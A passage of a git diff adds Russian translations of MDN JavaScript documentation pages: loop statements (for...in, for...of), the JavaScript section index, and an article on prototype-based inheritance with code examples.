+<p>Оператор <a href="/ru/docs/Web/JavaScript/Reference/Statements/for...in"><code>for...in</code></a> проходит по всем перечислимым свойствам объекта. JavaScript выполнит указанные выражения для каждого отдельного свойства. Цикл <code>for...in</code> выглядит так:</p>
+
+<pre class="syntaxbox">for (variable in object) {
+  выражения
+}
+</pre>
+
+<h3 id="Пример_4"><strong>Пример</strong></h3>
+
+<p>Следующая функция берёт своим аргументом объект и его имя. Затем проходит по всем свойствам объекта и возвращает строку, которая содержит имена свойств и их значения.</p>
+
+<pre class="brush: js">function dump_props(obj, obj_name) {
+  var result = "";
+  for (var i in obj) {
+    result += obj_name + "." + i + " = " + obj[i] + "&lt;br&gt;";
+  }
+  result += "&lt;hr&gt;";
+  return result;
+}
+</pre>
+
+<p>Для объекта <code>car</code> со свойствами <code>make</code> и <code>model</code>, <font face="Consolas, Liberation Mono, Courier, monospace"><em>результатом </em>будет</font>:</p>
+
+<pre class="brush: js">car.make = Ford
+car.model = Mustang
+</pre>
+
+<h3 id="Пример_№2">Пример №2</h3>
+
+<p>Также, по ключу можно выводить значение:</p>
+
+<pre>let obj = {model: 'AUDI A8', year: '2019', color: 'brown'}
+
+for (key in obj) {
+  console.log(`${key} = ${obj[key]}`);
+}
+// model = AUDI A8
+// year = 2019
+// color = brown</pre>
+
+<h3 id="Массивы"><strong>Массивы</strong></h3>
+
+<p>Хотя, очень заманчиво использовать <strong>for...in</strong> как способ пройтись по всем элементам {{jsxref("Array")}}, этот оператор возвращает имя свойств определённых пользователем помимо числовых индексов. Таким образом лучше использовать стандартный <code><a href="/ru/docs/Web/JavaScript/Reference/Statements/for">for</a></code> для числовых индексов при взаимодействии с массивами, поскольку оператор <strong>for...in</strong> проходит по определённым пользователем свойствам в дополнение к элементам массива, если вы изменяете массив, например, добавляете свойства и методы.</p>
+
+<h3 id="Пример_5">Пример</h3>
+
+<pre>let arr = ['AUDI A8', '2019', 'brown'];
+arr.cost = '$100.000';
+
+for (key in arr) {
+  console.log(`${key} = ${arr[key]}`);
+}
+
+// 0 = AUDI A8
+// 1 = 2019
+// 2 = brown
+// cost = $100.000
+</pre>
+
+<h2 id="for...of"><code>for...of</code></h2>
+
+<p>Оператор <code><a href="/ru/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a></code> создаёт цикл, проходящий по <a href="/ru/docs/Web/JavaScript/Guide/iterable">перечислимым объектам</a> (включая {{jsxref("Array")}}, {{jsxref("Map")}}, {{jsxref("Set")}}, объект <a href="/ru/docs/Web/JavaScript/Reference/Functions_and_function_scope/arguments">arguments</a> и так далее), вызывая на каждой итерации функцию с выражениями, которые надо выполнить для получения значения каждого отдельного свойства.</p>
+
+<pre class="syntaxbox">for (<em>variable</em> of <em>object</em>) {
+  <em>выражения
+</em>}</pre>
+
+<p>Следующий пример показывает разницу между циклами <code>for...of</code> и <code><a href="/ru/docs/Web/JavaScript/Reference/Statements/for...in" title="ru/docs/JavaScript/Reference/Statements/for...in">for...in</a></code>. Тогда как <code>for...in</code> проходит по именам свойств, <code>for...of</code> проходит по значениям свойств:</p>
+
+<pre class="brush:js">let arr = [3, 5, 7];
+arr.foo = "hello";
+
+for (let i in arr) {
+   console.log(i); // выводит "0", "1", "2", "foo"
+}
+
+for (let i of arr) {
+   console.log(i); // выводит "3", "5", "7"
+}
+</pre>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Control_flow_and_error_handling", "Web/JavaScript/Guide/Functions")}}</p>
diff --git a/files/ru/web/javascript/index.html b/files/ru/web/javascript/index.html
new file mode 100644
index 0000000000..4d20b9462d
--- /dev/null
+++ b/files/ru/web/javascript/index.html
@@ -0,0 +1,151 @@
+---
+title: JavaScript
+slug: Web/JavaScript
+tags:
+  - Infrastructure
+  - Interface
+  - Intermediate
+  - Internationalization
+  - Intro
+  - JavaScript
+  - Learn
+  - 'l10n:exclude'
+  - 'l10n:priority'
+  - Все_категории
+translation_of: Web/JavaScript
+---
+<div>{{JsSidebar()}}</div>
+
+<div class="summary">
+<p><strong>JavaScript</strong><sup>®</sup> (часто просто <strong>JS</strong>) — это легковесный, интерпретируемый или JIT-компилируемый, объектно-ориентированный язык с {{Glossary("First-class_Function", "функциями первого класса")}}. Наиболее широкое применение находит как язык сценариев веб-страниц, но также <a href="http://en.wikipedia.org/wiki/JavaScript#Uses_outside_web_pages">используется и в других программных продуктах</a>, например, <a href="http://nodejs.org" title="http://nodejs.org">node.js</a> или <a href="http://couchdb.apache.org" title="http://couchdb.apache.org">Apache CouchDB</a>. JavaScript это {{Glossary("Prototype-based_programming", "прототипно-ориентированный")}}, мультипарадигменный язык с динамической типизацией, который поддерживает объектно-ориентированный, императивный и декларативный (например, функциональное программирование) стили программирования. Подробнее <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/%D0%9E_JavaScript">о JavaScript</a>.</p>
+</div>
+
+<p>Эта часть сайта посвящена самому языку JavaScript, и она не затрагивает тонкостей, связанных с веб-страницами или окружением, в котором исполняется JavaScript. Информация об {{Glossary("API")}}, относящихся к веб-страницам, находится в разделах, посвященных <a href="/ru/docs/Web/API">Веб-API</a> и <a href="/ru/docs/DOM">DOM</a>.</p>
+
+<p>Стандартом языка JavaScript является <a href="https://developer.mozilla.org/ru/docs/JavaScript/Language_Resources" title="ECMAScript">ECMAScript</a>. По состоянию на 2012, все современные браузеры полностью поддерживают ECMAScript 5.1. Старые версии браузеров поддерживают по крайней мере - ECMAScript 3. 17 июня 2015 года состоялся выпуск шестой версии ECMAScript. Эта версия официально называется ECMAScript 2015, которую чаще всего называют ECMAScript 2015 или просто ES2015. С недавнего времени стандарты ECMAScript выпускаются ежегодно. Эта документация относится к последней версии черновика, которой является <a href="http://tc39.github.io/ecma262/">ECMAScript 2018</a>.</p>
+
+<p>Не следует путать JavaScript c <a href="https://ru.wikipedia.org/wiki/Java">языком программирования Java</a>. И "Java", и "JavaScript" являются торговыми марками или зарегистрированными торговыми марками Oracle в США и других странах. Однако, у обоих языков различный синтаксис, семантика и применение.</p>
+
+<div class="column-container">
+<div class="column-half">
+<h2 class="Documentation" id="Учебные_материалы">Учебные материалы</h2>
+
+<p>Научитесь программировать на JavaScript вместе с нашим руководством.</p>
+
+<h3 id="Для_абсолютных_новичков">Для абсолютных новичков</h3>
+
+<p>Загляните в наш <a href="/ru/docs/Learn/JavaScript">Учебный План,</a> если вам хочется изучить JavaScript, но у вас нет опыта в JavaScript или программировании.  Доступные разделы: </p>
+
+<dl>
+ <dt><a href="/ru/docs/Web/JavaScript/Guide">Первые шаги в JavaScript</a></dt>
+ <dd>Отвечаем на такие вопросы, как "что такое JavaScript?", "как он выглядит?", "и что он может делать?", а также обсуждаем основные возможности JavaScript, такие, как переменнные, строки, числа и массивы.</dd>
+ <dt><a href="/ru/docs/Learn/JavaScript/Building_blocks">Структурные элементы JavaScript</a></dt>
+ <dd>Продолжаем наше изучение главных возможностей JavaScript, обращаем наше внимание на самые часто встречающиеся блоки кода, такие, как условные выражения, циклы, функции и события.</dd>
+ <dt></dt>
+ <dt><a href="https://developer.mozilla.org/ru/docs/Learn/JavaScript/%D0%9E%D0%B1%D1%8A%D0%B5%D0%BA%D1%82%D1%8B">Введение в объекты JavaScript</a></dt>
+ <dd>Объектно-ориентированная природа JavaScript важна для понимания, если вы хотите углубить знание языка и писать более эффективный код. Поэтому мы подготовили модуль, который поможет вам в этом.</dd>
+ <dt><a href="/ru/docs/Learn/JavaScript/Asynchronous">Асинхронный JavaScript</a></dt>
+ <dd>Обсуждение асинхронного JavaScript: почему это так важно, как эта возможность языка может использована для обработки потенциальных блокирующих операций, как, например полученые данных с сервера.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Client-side_web_APIs">Клиентские (браузерные) веб-API</a></dt>
+ <dd>Когда вы пишите клиент веб-сайтов или приложений на JavaScript, вы не далеко уйдете без использования API – интерфейсов для взаимодействия с браузером и операционной системой, на которой запущен сайт, или даже для операций с данными, полученными от других веб-сайтов и сервисов. В этом цикле статей мы разбираемся, что такое API и как использовать некоторые самые распространенные API, которые вам встретятся при разработке.</dd>
+</dl>
+
+<h3 id="Руководство_по_JavaScript">Руководство по JavaScript</h3>
+
+<dl>
+ <dt><a href="/ru/docs/Web/JavaScript/Guide">Руководство по JavaScript</a></dt>
+ <dd>Более подробное руководство по языку программирования JavaScript, нацеленное на тех, кто уже имеет опыт программирования на JavaScript или на любом другом языке.</dd>
+</dl>
+
+<h3 id="Средний_уровень">Средний уровень</h3>
+
+<dl>
+ <dt><a href="/ru/docs/Learn/Tools_and_testing/Фронтенд_JavaScript_фреймворки">Понимание JavaScript-фреймворков для фронтенда</a></dt>
+ <dd>
+ <div>JavaScript-ф<span>реймворки </span>являются неотъемлемой частью современной веб-разработки,</div>
+
+ <div>предоставляя разработчикам проверенные и протестированные</div>
+
+ <div>инструменты для создания масштабируемых и интерактивных веб-приложений. Многие</div>
+
+ <div>современные компании используют фреймворки для своих решений, поэтому многие задачи связанные с разработкой клиентской части веб-приложений теперь требуют опыта работы с ними.</div>
+ </dd>
+ <dt><a href="/ru/docs/Web/JavaScript/A_re-introduction_to_JavaScript">Повторное введение в JavaScript</a></dt>
+ <dd>Обзор для тех, кто <em>думает</em>, что знает JavaScript.</dd>
+ <dt><a href="/ru/docs/Web/JavaScript/Data_structures">Структуры данных JavaScript</a></dt>
+ <dd>Обзор существующих структур данных в JavaScript.</dd>
+ <dt><a href="/ru/docs/Web/JavaScript/Equality_comparisons_and_sameness">Операторы сравнения и тождественности</a></dt>
+ <dd>JavaScript предоставляет три различных оператора сравнения значений: строгое равенство <code>===</code>, с приведением типов <code>==</code> и метод {{jsxref("Global_Objects/Object/is", "Object.is()")}}.</dd>
+ <dt><a href="/ru/docs/Web/JavaScript/Closures">Замыкания</a></dt>
+ <dd>Замыканния это сочетание функции и лексического окружения в котором она была определена.</dd>
+</dl>
+
+<h3 id="Продвинутый_уровень">Продвинутый уровень</h3>
+
+<dl>
+ <dt><a href="/ru/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain">Наследование и цепочка прототипов</a></dt>
+ <dd>Статья разъясняет бытующие заблуждения и недооцененность наследования, основанного на прототипах.</dd>
+ <dt><a href="/ru/docs/Web/JavaScript/Reference/Strict_mode">Строгий режим — "use strict"</a></dt>
+ <dd>Строгий режим говорит о том, что вы не можете использовать какую-либо переменную до её объявления. Это ограниченный вариант ECMAScript 5, для более быстрой производительности и простой отладки.</dd>
+ <dt><a href="/ru/docs/Web/JavaScript/Typed_arrays">Типизированные массивы</a></dt>
+ <dd>Типизированные массивы предоставляют механизм для работы с необработанными двоичными данными в JavaScript.</dd>
+ <dt><a href="/ru/docs/Web/JavaScript/Memory_Management">Управление памятью</a></dt>
+ <dd>Жизненный цикл памяти и сборка мусора в JavaScript.</dd>
+ <dt><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/EventLoop">Модель параллелизма (мультипоточности) и цикл событий</a></dt>
+ <dd>В JavaScript есть модель параллелизма, основанная на "цикле событий".</dd>
+ <dt><a href="/ru/docs/Web/JavaScript/Introduction_to_using_XPath_in_JavaScript">Введение в использование XPath в JavaScript</a></dt>
+ <dd>Этот документ описывает интерфейс для использования <a href="https://developer.mozilla.org/en-US/docs/XPath" title="en/XPath">XPath</a> в JavaScript на прямую, внутри расширений и на веб-сайтах.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<h2 class="Tools" id="Справочник">Справочник</h2>
+
+<p>Подробный <a href="/ru/docs/Web/JavaScript/Reference">справочник</a> по JavaScript.</p>
+
+<dl>
+ <dt><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects">Стандартные встроенные объекты</a></dt>
+ <dd>Узнайте о стандартных встроенных объектах {{jsxref("Array")}}, {{jsxref("Boolean")}}, {{jsxref("Date")}}, {{jsxref("Error")}}, {{jsxref("Function")}}, {{jsxref("JSON")}}, {{jsxref("Math")}}, {{jsxref("Number")}}, {{jsxref("Object")}}, {{jsxref("RegExp")}}, {{jsxref("String")}}, {{jsxref("Map")}}, {{jsxref("Set")}}, {{jsxref("WeakMap")}} , {{jsxref("WeakSet")}} и других.</dd>
+ <dt><a href="/ru/docs/Web/JavaScript/Reference/Operators">Выражения и операторы</a></dt>
+ <dd>Узнайте о поведении таких операторов в JavaScript, как {{jsxref("Operators/instanceof", "instanceof")}}, {{jsxref("Operators/typeof", "typeof")}}, {{jsxref("Operators/new", "new")}}, {{jsxref("Operators/this", "this")}}, <a href="/ru/docs/Web/JavaScript/Reference/Operators/Operator_Precedence">приоритете операторов</a> и многом другом.</dd>
+ <dt><a href="/ru/docs/Web/JavaScript/Reference/Statements">Инструкции и объявления</a></dt>
+ <dd>Узнайте о {{jsxref("Statements/do...while", "do-while")}}, {{jsxref("Statements/for...in", "for-in")}}, {{jsxref("Statements/for...of", "for-of")}}, {{jsxref("Statements/try...catch", "try-catch")}}, {{jsxref("Statements/let", "let")}}, {{jsxref("Statements/var", "var")}}, {{jsxref("Statements/const", "const")}}, {{jsxref("Statements/if...else", "if-else")}}, {{jsxref("Statements/switch", "switch")}} и многих других выражениях и ключевых словах в JavaScript.</dd>
+ <dt><a href="/ru/docs/Web/JavaScript/Reference/Functions">Функции</a></dt>
+ <dd>Узнайте, как работать с функциями в JavaScript, чтобы разрабатывать свои приложения.</dd>
+</dl>
+
+<h2 class="Tools" id="Инструменты_и_дополнительные_ресурсы">Инструменты и дополнительные ресурсы</h2>
+
+<p>Полезные инструменты для написания и отладки вашего <strong>JavaScript </strong>кода.</p>
+
+<dl>
+ <dt><a href="/ru/docs/Tools">Инструменты разработчика Firefox</a></dt>
+ <dd><a href="/ru/docs/Tools/Черновик">Простой редактор JavaScript</a>, <a href="/ru/docs/Tools/Web_Console">Веб-консоль</a>, <a href="/ru/docs/Tools/Profiler">JavaScript Профайлер</a>, <a href="/ru/docs/Tools/Debugger">Отладчик</a> и другие.</dd>
+ <dt><a href="/ru/docs/Web/JavaScript/JavaScript_шеллы">JavaScript шеллы</a></dt>
+ <dd>JavaScript шеллы позволяют быстро проверять фрагменты JavaScript кода.</dd>
+ <dt><a href="https://togetherjs.com/">TogetherJS</a></dt>
+ <dd>Объединение усилий стало проще. Добавляя TogetherJS на вашу веб-страницу, ваши пользователи могуь помочь другу-другу в реальном времени!</dd>
+ <dt><a href="http://stackoverflow.com/questions/tagged/javascript">Stack Overflow</a></dt>
+ <dd>Вопросы по JavaScript на Stack Overflow.</dd>
+ <dt><a href="/ru/docs/Web/JavaScript/New_in_JavaScript">Версии JavaScript и информация о релизах</a></dt>
+ <dd>Просмотрите историю возможностей JavaScript и их статус.</dd>
+ <dt><a href="https://jsfiddle.net/">JSFiddle</a></dt>
+ <dd>Редактируйте JavaScript, CSS, HTML и получайте живые результаты. Используйте экспериментальные ресурсы и взаимодействуйте с вашей командой онлайн.</dd>
+</dl>
+
+<dl>
+ <dt><a href="https://plnkr.co/">Plunker</a></dt>
+ <dd>Plunker - это онлайн-сообщество для создания, обмена и совместной работы над идеями, касающимися веб-разработки. Редактируйте ваши JavaScript, CSS, HTML файлы, смотрите результат их выполнения и организуйте их в файловую структуру.</dd>
+ <dt><a href="https://jsbin.com/">JSBin</a></dt>
+ <dd>JS Bin это инструмент с открытым исходным кодом для отладки и совместной разработки.</dd>
+ <dt><a href="https://codepen.io/">Codepen</a></dt>
+ <dd>
+ <p>Codepen ещё одна платформа для совместной веб-разработки, дающия результать в реальном-времени.</p>
+ </dd>
+ <dt><a href="https://stackblitz.com/">StackBlitz</a></dt>
+ <dd>
+ <p>StackBlitz - это "песочница"/инструмент отладки, где вы можете размещать полновесные приложения написанные на React, Angular, т др.</p>
+ </dd>
+</dl>
+</div>
+</div>
diff --git a/files/ru/web/javascript/inheritance_and_the_prototype_chain/index.html b/files/ru/web/javascript/inheritance_and_the_prototype_chain/index.html
new file mode 100644
index 0000000000..489e7e7693
--- /dev/null
+++ b/files/ru/web/javascript/inheritance_and_the_prototype_chain/index.html
@@ -0,0 +1,301 @@
+---
+title: Наследование и цепочка прототипов
+slug: Web/JavaScript/Inheritance_and_the_prototype_chain
+tags:
+  - JavaScript
+  - Наследование
+  - ООП
+  - Прототип объекта
+translation_of: Web/JavaScript/Inheritance_and_the_prototype_chain
+---
+<p dir="rtl">{{jsSidebar("Advanced")}}</p>
+
+<p>Модель наследования в JavaScript может озадачить опытных разработчиков на высокоуровневых объектно-ориентированных языках (таких, например, как Java или C++), поскольку она динамическая и не включает в себя реализацию понятия <code>class</code> (хотя ключевое слово <code>class,</code> бывшее долгие годы зарезервированным, и приобрело практическое значение в стандарте ES2015, однако, Class в JavaScript ES&gt;=6 представляет собой лишь "синтаксический сахар" поверх прототипно-ориентированной модели наследования).</p>
+
+<p>В плане наследования JavaScript работает лишь с одной сущностью: объектами. Каждый объект имеет внутреннюю ссылку на другой объект, называемый его <strong>прототипом</strong>. У объекта-прототипа также есть свой собственный прототип и так далее до тех пор, пока цепочка не завершится объектом, у которого свойство prototype равно <code>null</code>.  По определению, <code>null </code>не имеет прототипа и является завершающим звеном в <strong>цепочке прототипов</strong>.</p>
+
+<p>Хотя прототипную модель наследования некоторые относят к недостаткам JavaScript, на самом деле она <em>мощнее</em> классической. К примеру, поверх неё можно предельно просто реализовать классическое наследование, а вот попытки совершить обратное непременно вынудят вас попотеть.</p>
+
+<h2 id="Наследование_с_цепочкой_прототипов">Наследование с цепочкой прототипов</h2>
+
+<h3 id="Наследование_свойств">Наследование свойств</h3>
+
+<p>Объекты в JavaScript — динамические "контейнеры", наполненные свойствами (называемыми <strong>собственными свойствами</strong>). Каждый объект содержит ссылку на свой объект-прототип.<br>
+ При попытке получить доступ к какому-либо свойству объекта, свойство вначале ищется в самом объекте, затем в прототипе объекта, после чего в прототипе прототипа, и так далее. Поиск ведется до тех пор, пока не найдено свойство с совпадающим именем или не достигнут конец цепочки прототипов.</p>
+
+<pre class="brush: js notranslate">// В этом примере someObject.[[Prototype]] означает прототип someObject.
+// Это упрощённая нотация (описанная в стандарте ECMAScript).
+// Она не может быть использована в реальных скриптах.
+
+// Допустим, у нас есть объект 'o' с собственными свойствами a и b
+// {a:1, b:2}
+
+// o.[[Prototype]] имеет свойства b и с
+// {b:3, c:4}
+
+// Далее, o.[[Prototype]].[[Prototype]] является null
+// null - это окончание в цепочке прототипов
+// по определению, null не имеет свойства [[Prototype]]
+
+// В итоге полная цепочка прототипов выглядит так:
+// {a:1, b:2} ---&gt; {b:3, c:4} ---&gt; null
+
+console.log(o.a); // 1
+// Есть ли у объекта 'o' собственное свойство 'a'?
+// Да, и его значение равно 1
+
+console.log(o.b); // 2
+// Есть ли у объекта 'o' собственное свойство 'b'?
+// Да, и его значение равно 2.
+// У прототипа o.[[Prototype]] также есть свойство 'b',
+// но обращения к нему в данном случае не происходит.
+// Это и называется "property shadowing" (затенение свойства)
+
+console.log(o.c); // 4
+// Есть ли у объекта 'o' собственное свойство 'с'?
+// Нет, тогда поищем его в прототипе.
+// Есть ли у объекта o.[[Prototype]] собственное свойство 'с'?
+// Да, оно равно 4
+
+console.log(o.d); // undefined
+// Есть ли у объекта 'o' собственное свойство 'd'?
+// Нет, тогда поищем его в прототипе.
+// Есть ли у объекта o.[[Prototype]] собственное свойство 'd'?
+// Нет, продолжаем поиск по цепочке прототипов.
+// o.[[Prototype]].[[Prototype]] равно null, прекращаем поиск,
+// свойство не найдено, возвращаем undefined
+</pre>
+
+<p>При добавлении к объекту нового свойства, создаётся новое собственное свойство (own property). Единственным исключением из этого правила являются наследуемые свойства, имеющие <a href="/en/docs/JavaScript/Guide/Working_with_Objects?redirectlocale=en-US&amp;redirectslug=Core_JavaScript_1.5_Guide%2FWorking_with_Objects#Defining_getters_and_setters" title="Defining Getters and Setters">getter или setter</a>.</p>
+
+<h3 id="Наследование_методов">Наследование "методов"</h3>
+
+<p>JavaScript не имеет "методов" в смысле, принятом в классической модели ООП. В JavaScript любая функция может быть добавлена к объекту в виде его свойства. Унаследованная функция ведёт себя точно так же, как любое другое свойство объекта, в том числе и в плане "затенения свойств" (property shadowing), как показано в примере выше (в данном конкретном случае это форма <em>переопределения метода - method overriding</em>).</p>
+
+<p>В области видимости унаследованной функции ссылка <a href="/en/JavaScript/Reference/Operators/this" title="this"><code>this</code></a> указывает на наследующий объект (на наследника), а не на прототип, в котором данная функция является собственным свойством.</p>
+
+<pre class="brush: js notranslate">var o = {
+  a: 2,
+  m: function(){
+    return this.a + 1;
+  }
+};
+
+console.log(o.m()); // 3
+// в этом случае при вызове 'o.m' this указывает на 'o'
+
+var p = Object.create(o);
+// 'p' - наследник 'o'
+
+p.a = 12; // создаст собственное свойство 'a' объекта 'p'
+console.log(p.m()); // 13
+// при вызове 'p.m' this указывает на 'p'.
+// т.е. когда 'p' наследует функцию 'm' объекта 'o',
+// this.a означает 'p.a', собственное свойство 'a' объекта 'p'
+</pre>
+
+<h2 id="Различные_способы_создания_объектов_и_получаемые_в_итоге_цепочки_прототипов">Различные способы создания объектов и получаемые в итоге цепочки прототипов</h2>
+
+<h3 id="Создание_объектов_с_помощью_литералов">Создание объектов с помощью литералов</h3>
+
+<pre class="brush: js notranslate">var o = {a: 1};
+
+// Созданный объект 'o' имеет Object.prototype в качестве своего [[Prototype]]
+// у 'o' нет собственного свойства 'hasOwnProperty'
+// hasOwnProperty — это собственное свойство Object.prototype.
+// Таким образом 'o' наследует hasOwnProperty от Object.prototype
+// Object.prototype в качестве прототипа имеет null.
+// o ---&gt; Object.prototype ---&gt; null
+
+var a = ["yo", "whadup", "?"];
+
+// Массивы наследуются от Array.prototype
+// (у которого есть такие методы, как indexOf, forEach и т.п.).
+// Цепочка прототипов при этом выглядит так:
+// a ---&gt; Array.prototype ---&gt; Object.prototype ---&gt; null
+
+function f(){
+  return 2;
+}
+
+// Функции наследуются от Function.prototype
+// (у которого есть такие методы, как call, bind и т.п.):
+// f ---&gt; Function.prototype ---&gt; Object.prototype ---&gt; null
+</pre>
+
+<h3 id="Создание_объектов_с_помощью_конструктора">Создание объектов с помощью конструктора</h3>
+
+<p>В JavaScript "конструктор" — это "просто" функция, вызываемая с оператором <a href="/en/JavaScript/Reference/Operators/new" title="new">new</a>.</p>
+
+<pre class="brush: js notranslate">function Graph() {
+  this.vertexes = [];
+  this.edges = [];
+}
+
+Graph.prototype = {
+  addVertex: function(v){
+    this.vertexes.push(v);
+  }
+}
+
+var g = new Graph();
+// объект 'g' имеет собственные свойства 'vertexes' и 'edges'.
+// g.[[Prototype]] принимает значение Graph.prototype при выполнении new Graph().
+</pre>
+
+<h3 id="Object.create">Object.create</h3>
+
+<p>В ECMAScript 5 представлен новый метод создания объектов: <a href="/en/JavaScript/Reference/Global_Objects/Object/create" title="create">Object.create</a>. Прототип создаваемого объекта указывается в первом аргументе этого метода:</p>
+
+<pre class="brush: js notranslate">var a = {a: 1};
+// a ---&gt; Object.prototype ---&gt; null
+
+var b = Object.create(a);
+// b ---&gt; a ---&gt; Object.prototype ---&gt; null
+console.log(b.a); // 1 (унаследовано)
+
+var c = Object.create(b);
+// c ---&gt; b ---&gt; a ---&gt; Object.prototype ---&gt; null
+
+var d = Object.create(null);
+// d ---&gt; null
+console.log(d.hasOwnProperty);
+// undefined, т.к. 'd' не наследуется от Object.prototype
+</pre>
+
+<div>
+<h3 id="Используя_ключевое_слово_class">Используя ключевое слово <code>class</code></h3>
+
+<p>С выходом ECMAScript 6 появился целый набор ключевых слов, реализующих <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes">классы</a>. Они могут показаться знакомыми людям, изучавшим языки, основанные на классах, но есть существенные отличия. JavaScript был и остаётся прототипно-ориентированным языком. Новые ключевые слова: "<code>class</code>", "<code>constructor</code>", "<code>static</code>", "<code>extends</code>" и "<code>super</code>".</p>
+
+<pre class="brush: js notranslate">"use strict";
+
+class Polygon {
+  constructor(height, width) {
+    this.height = height;
+    this.width = width;
+  }
+}
+
+class Square extends Polygon {
+  constructor(sideLength) {
+    super(sideLength, sideLength);
+  }
+  get area() {
+    return this.height * this.width;
+  }
+  set sideLength(newLength) {
+    this.height = newLength;
+    this.width = newLength;
+  }
+}
+
+var square = new Square(2);</pre>
+
+<h3 id="Производительность">Производительность</h3>
+
+<p>Длительное время поиска свойств, располагающихся относительно высоко в цепочке прототипов, может негативно сказаться на производительности (performance), особенно в критических в этом смысле местах кода. Кроме того, попытка найти несуществующие свойства неизбежно приведёт к проверке на их наличие у всех объектов цепочки прототипов.</p>
+
+<p>Кроме того, при циклическом переборе свойств объекта будет обработано каждое свойство, присутствующее в цепочке прототипов.</p>
+
+<p>Если вам необходимо проверить, определено ли свойство у <em>самого объекта</em>, а не где-то в его цепочке прототипов, вы можете использовать метод <a href="/ru/docs/JavaScript/Reference/Global_Objects/Object/hasOwnProperty" title="/ru/docs/JavaScript/Reference/Global_Objects/Object/hasOwnProperty"><code>hasOwnProperty</code></a>, который все объекты наследуют от <code>Object.prototype</code>.</p>
+
+<p><a href="/ru/docs/JavaScript/Reference/Global_Objects/Object/hasOwnProperty" title="/ru/docs/JavaScript/Reference/Global_Objects/Object/hasOwnProperty"><code>hasOwnProperty</code></a> — единственная существующая в JavaScript возможность работать со свойствами, не затрагивая цепочку прототипов. </p>
+
+<div class="note">Примечание: Для проверки существования свойства недостаточно проверять, эквивалентно ли оно <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined"><code>undefined</code></a>. Свойство может вполне себе существовать, но при этом ему может быть присвоено значение <code>undefined</code>.</div>
+
+<div>
+<h3 id="Плохая_практика_расширение_базовых_прототипов">Плохая практика: расширение базовых прототипов</h3>
+
+<p>Одной из частых ошибок является расширение <code>Object.prototype</code> или других базовых прототипов.</p>
+
+<p>Такой подход называется monkey patching и нарушает принцип <em>инкапсуляции</em>. Несмотря на то, что ранее он использовался в таких широко распространенных фреймворках, как например, Prototype.js, в настоящее время не существует разумных причин для его использования, поскольку в данном случае встроенные типы "захламляются" дополнительной нестандартной функциональностью.</p>
+
+<p>Единственным оправданием расширения базовых прототипов могут являться лишь полифиллы - эмуляторы новой функциональности (например, <code>Array.forEach)</code> для не поддерживающих её реализаций языка в старых веб-браузерах.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p><code>B</code> наследует от <code>A</code>:</p>
+
+<pre class="brush: js notranslate">function A(a){
+  this.varA = a;
+}
+
+// What is the purpose of including varA in the prototype when A.prototype.varA will always be shadowed by
+// this.varA, given the definition of function A above?
+A.prototype = {
+  varA : null,  // Shouldn't we strike varA from the prototype as doing nothing?
+      // perhaps intended as an optimization to allocate space in hidden classes?
+      // https://developers.google.com/speed/articles/optimizing-javascript#Initializing instance variables
+      // would be valid if varA wasn't being initialized uniquely for each instance
+  doSomething : function(){
+    // ...
+  }
+}
+
+function B(a, b){
+  A.call(this, a);
+  this.varB = b;
+}
+B.prototype = Object.create(A.prototype, {
+  varB : {
+    value: null,
+    enumerable: true,
+    configurable: true,
+    writable: true
+  },
+  doSomething : {
+    value: function(){ // переопределение
+      A.prototype.doSomething.apply(this, arguments); // call super
+      // ...
+    },
+    enumerable: true,
+    configurable: true,
+    writable: true
+  }
+});
+B.prototype.constructor = B;
+
+var b = new B();
+b.doSomething();</pre>
+
+<p>Важно:</p>
+
+<ul>
+ <li>Типы определяются в <code>.prototype</code></li>
+ <li>Для наследования используется <code>Object.create()</code></li>
+</ul>
+
+<h2 id="prototype_и_Object.getPrototypeOf">prototype и Object.getPrototypeOf</h2>
+
+<p>Как уже упоминалось, JavaScript может запутать разработчиков на Java или C++, ведь в нём совершенно нет "нормальных" классов. Всё, что мы имеем - лишь объекты. Даже те "classes", которые мы имитировали в статье, тоже являются функциональными объектами.</p>
+
+<p>Вы наверняка заметили, что у <code>function A</code> есть особое свойство <code>prototype</code>. Это свойство работает с оператором <code>new</code>. Ссылка на объект-прототип копируется во внутреннее свойство <code>[[Prototype]] </code>нового объекта. Например, в этом случае <code>var a1 = new A()</code>, JavaScript (после создания объекта в памяти и до выполнения функции function <code>A() </code>) устанавливает <code>a1.[[Prototype]] = A.prototype</code>. Потом, при попытке доступа к свойству нового экземпляра объекта, JavaScript проверяет, принадлежит ли свойство непосредственно объекту. Если нет, то интерпретатор ищет в свойстве <code>[[Prototype]]</code>. Всё, что было определено в <code>prototype,</code> в равной степени доступно и всем экземплярам данного объекта. При внесении изменений в <code>prototype</code> все эти изменения сразу же становятся доступными и всем экземплярам объекта.</p>
+
+<p><code>[[Prototype]]</code> работает <em>рекурсивно</em>, то есть при вызове:</p>
+
+<pre class="brush: js notranslate">var o = new Foo();</pre>
+
+<p>JavaScript на самом деле выполняет что-то подобное:</p>
+
+<pre class="brush: js notranslate">var o = new Object();
+o.[[Prototype]] = Foo.prototype;
+Foo.call(o);</pre>
+
+<p>а когда вы делаете так:</p>
+
+<pre class="brush: js notranslate">o.someProp;</pre>
+
+<p>JavaScript проверяет, есть ли у <strong><code>o</code></strong> свойство <code>someProp</code>.<br>
+ и если нет, то проверяет <code>Object.getPrototypeOf(o).someProp</code> <br>
+ а если и там нет, то ищет в <code>Object.getPrototypeOf(Object.getPrototypeOf(o)).someProp</code> и так далее.</p>
+
+<div>
+<h2 id="Заключение">Заключение</h2>
+
+<p>Важно чётко понимать принципы работы прототипной модели наследования, прежде чем начинать писать сложный код с её использованием.<br>
+ <span id="result_box" lang="ru"><span>При написании JavaScript-</span></span><span lang="ru"><span>кода, использующего наследование, следует помнить</span> <span>о</span> <span>длине</span> <span>цепочек прототипов</span> <span>и стараться</span> делать их как можно более короткими во<span> избежание </span><span>проблем с производительностью во время выполнения кода</span><span>.</span></span><br>
